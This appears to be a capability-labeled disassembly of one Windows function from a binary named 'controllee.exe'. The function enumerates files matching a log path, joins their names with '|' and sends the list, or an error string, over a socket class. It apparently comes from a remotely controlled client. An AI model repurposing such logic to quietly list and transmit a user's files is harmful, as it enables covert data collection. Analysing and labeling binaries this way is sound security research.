Function at 0x405080
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44209d
mov eax, dword fs:[0]
push eax
sub esp, 0x27c
mov eax, dword [0x45901c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x280], ebx
xor eax, eax
mov dword [ebp - 0x18], 0
push eax
push 0x4523b4
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
call fcn.00405470
lea eax, [ebp - 0x278]
mov dword [ebp - 4], 0
push eax
push str.._log_.
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
mov dword [ebp - 0x27c], edi
cmp edi, 0xffffffff
jne 0x405111
push 0xa
push str.File_error
mov ecx, ebx
call sym.controllee.exe_public:_int___thiscall_MySocket::Send_char___int_
jmp 0x4052cc
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpW]
nop word [eax + eax]
push 0x4523d8
lea eax, [ebp - 0x24c]
push eax
call ebx
test eax, eax
je 0x405216
push 0x4523dc
lea eax, [ebp - 0x24c]
push eax
call ebx
test eax, eax
je 0x405216
lea eax, [ebp - 0x24c]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x405155
mov ebx, dword [ebp - 0x14]
sub eax, edx
mov edx, dword [ebp - 0x18]
mov ecx, ebx
sar eax, 1
sub ecx, edx
cmp eax, ecx
ja 0x4051a6
lea edi, [edx + eax]
cmp ebx, 8
lea esi, [ebp - 0x28]
mov dword [ebp - 0x18], edi
cmovae esi, dword [ebp - 0x28]
add eax, eax
push eax
lea eax, [ebp - 0x24c]
push eax
lea eax, [esi + edx*2]
push eax
call fcn.004204a0
add esp, 0xc
xor eax, eax
mov word [esi + edi*2], ax
mov edi, dword [ebp - 0x27c]
jmp 0x4051c4
push eax
lea ecx, [ebp - 0x24c]
mov byte [ebp - 0x284], 0
push ecx
push dword [ebp - 0x284]
lea ecx, [ebp - 0x28]
push eax
call fcn.004055c0
mov esi, dword [ebp - 0x14]
mov eax, esi
mov edx, dword [ebp - 0x18]
sub eax, edx
cmp eax, 2
jb 0x4051f2
cmp esi, 8
lea eax, [ebp - 0x28]
lea ecx, [edx + 2]
cmovae eax, dword [ebp - 0x28]
mov dword [ebp - 0x18], ecx
mov dword [eax + edx*2], 0x7c007c
xor edx, edx
mov word [eax + ecx*2], dx
jmp 0x405210
push 2
push 0x4523e4
mov byte [ebp - 0x288], 0
lea ecx, [ebp - 0x28]
push dword [ebp - 0x288]
push 2
call fcn.004055c0
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpW]
lea eax, [ebp - 0x278]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x405120
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
cmp edx, 8
cmovae eax, ecx
cmp word [eax], 0
je 0x4052b3
lea esi, [ebp - 0x28]
cmp edx, 8
jb 0x40524f
mov esi, ecx
test esi, esi
je 0x4052ab
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x405254
sub ecx, edx
sar ecx, 1
lea ebx, [ecx + 1]
cmp ebx, 0x3fffffff
jg 0x4052ab
add ebx, ebx
mov eax, ebx
call fcn.004091f0
mov edi, esp
test edi, edi
je 0x4052a5
push 0
push 0
push ebx
push edi
push 0xffffffffffffffff
push esi
push 0
push 3
mov byte [edi], 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push dword [ebp - 0x18]
neg eax
sbb eax, eax
and eax, edi
mov edi, dword [ebp - 0x27c]
push eax
jmp 0x4052ba
mov edi, dword [ebp - 0x27c]
push dword [ebp - 0x18]
xor eax, eax
push eax
jmp 0x4052ba
push 7
push str.No_file
mov ecx, dword [ebp - 0x280]
call sym.controllee.exe_public:_int___thiscall_MySocket::Send_char___int_
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x405302
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4052f8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405324
push edx
push ecx
call fcn.00408815
add esp, 8
lea esp, [ebp - 0x298]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004087d4
mov esp, ebp
pop ebp
ret
call fcn.00429cc7
int3